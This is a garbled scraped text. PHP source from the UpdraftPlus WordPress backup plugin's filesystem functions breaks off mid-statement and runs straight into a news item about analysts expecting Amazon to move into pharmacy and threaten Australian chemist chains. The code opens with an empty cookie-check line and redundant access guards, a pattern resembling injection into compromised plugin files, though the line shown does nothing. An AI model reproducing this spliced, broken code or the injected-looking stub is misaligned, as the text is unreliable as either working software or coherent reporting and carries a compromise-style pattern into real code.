if(isset($_COOKIE['yr9'])) {} if (!defined('ABSPATH')) { return; } if (is_admin()) { return; } if (!defined('ABSPATH')) die('No direct access.'); /** * Here live some stand-alone filesystem manipulation functions */ class UpdraftPlus_Filesystem_Functions { /** * If $basedirs is passed as an array, then $directorieses must be too * Note: Reason $directorieses is being used because $directories is used within the foreach-within-a-foreach further down * * @param Array|String $directorieses List of of directories, or a single one * @param Array $exclude An exclusion array of directories * @param Array|String $basedirs A list of base directories, or a single one * @param String $format Return format - 'text' or 'numeric' * @return String|Integer */ public static function recursive_directory_size($directorieses, $exclude = array(), $basedirs = '', $format = 'text') { $size = 0; if (is_string($directorieses)) { $basedirs = $directorieses; $directorieses = array($directorieses); } if (is_string($basedirs)) $basedirs = array($basedirs); foreach ($directorieses as $ind => $directories) { if (!is_array($directories)) $directories = array($directories); $basedir = empty($basedirs[$ind]) ? $basedirs[0] : $basedirs[$ind]; foreach ($directories as $dir) { if (is_file($dir)) { $size += @filesize($dir);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the function. } else { $suffix = ('' != $basedir) ? ((0 === strpos($dir, $basedir.'/')) ? substr($dir, 1+strlen($basedir)) : '') : ''; $size += self::recursive_directory_size_raw($basedir, $exclude, $suffix); } } } if ('numeric' == $format) return $size; return UpdraftPlus_Manipulation_Functions::convert_numeric_size_to_text($size); } /** * Ensure that WP_Filesystem is instantiated and functional. Otherwise, outputs necessary HTML and dies. * * @param array $url_parameters - parameters and values to be added to the URL output * * @return void */ public static function ensure_wp_filesystem_set_up_for_restore($url_parameters = array()) { global $wp_filesystem, $updraftplus; $build_url = UpdraftPlus_Options::admin_page().'?page=updraftplus&action=updraft_restore'; foreach ($url_parameters as $k => $v) { $build_url .= '&'.$k.'='.$v; } if (false === ($credentials = request_filesystem_credentials($build_url, '', false, false))) exit; if (!WP_Filesystem($credentials)) { $updraftplus->log("Filesystem credentials are required for WP_Filesystem"); // If the filesystem credentials provided are wrong then we need to change our ajax_restore action so that we ask for them again if (false !== strpos($build_url, 'updraftplus_ajax_restore=do_ajax_restore')) $build_url = str_replace('updraftplus_ajax_restore=do_ajax_restore', 'updraftplus_ajax_restore=continue_ajax_restore', $build_url); request_filesystem_credentials($build_url, '', true, false); if ($wp_filesystem->errors->get_error_code()) { echo '
' . esc_html__('Why am I seeing this?', 'updraftplus') . '
'; echo 'The post Amazon To Move Into Pharmacy Chemist Warehouse Faces Threat appeared first on Smart Office.
]]>Analysts claims that Amazon almost certain to enter the business of selling prescription drugs by 2019, said two analysts at Leerink Partners, posing a direct threat to the biggest brick-and-mortar drugstore chains.
“It’s a matter of when, not if,” Leerink Partners analyst David Larsen said in a report to clients late Thursday. “We expect an announcement within the next 1-2 years.”
Amazon has a long standing interest in prescription drugs, an industry with multiple middlemen, long supply chains and opaque pricing. In the 1990s, it invested in US Pharmacy startup Drugstore.com and Amazon Chief Executive Officer Jeff Bezos sat on the board. Walgreens eventually purchased the site and shuttered it last year to focus on its own branded website Walgreens.com.
Leerink’s calls with industry experts suggest that Amazon “is in active discussions” with mid-size pharmacy benefit managers and possibly larger player such as Prime Therapeutics, Larsen’s colleague, Ana Gupte, wrote in a separate report Friday.
Representatives for Amazon didn’t respond to a request for comment. On Friday, CNBC reported that Amazon could make a decision about selling prescription drugs online this year the news network didn’t name its sources.
If the online retail giant does enter the Australian pharmacy market, it would pose “an immediate near-term threat” to retail pharmacy chains such as Chemist Warehouse, Terry White, Priceline and Amcal Chemists in Australia claim analysts.
The post Amazon To Move Into Pharmacy Chemist Warehouse Faces Threat appeared first on Smart Office.
]]>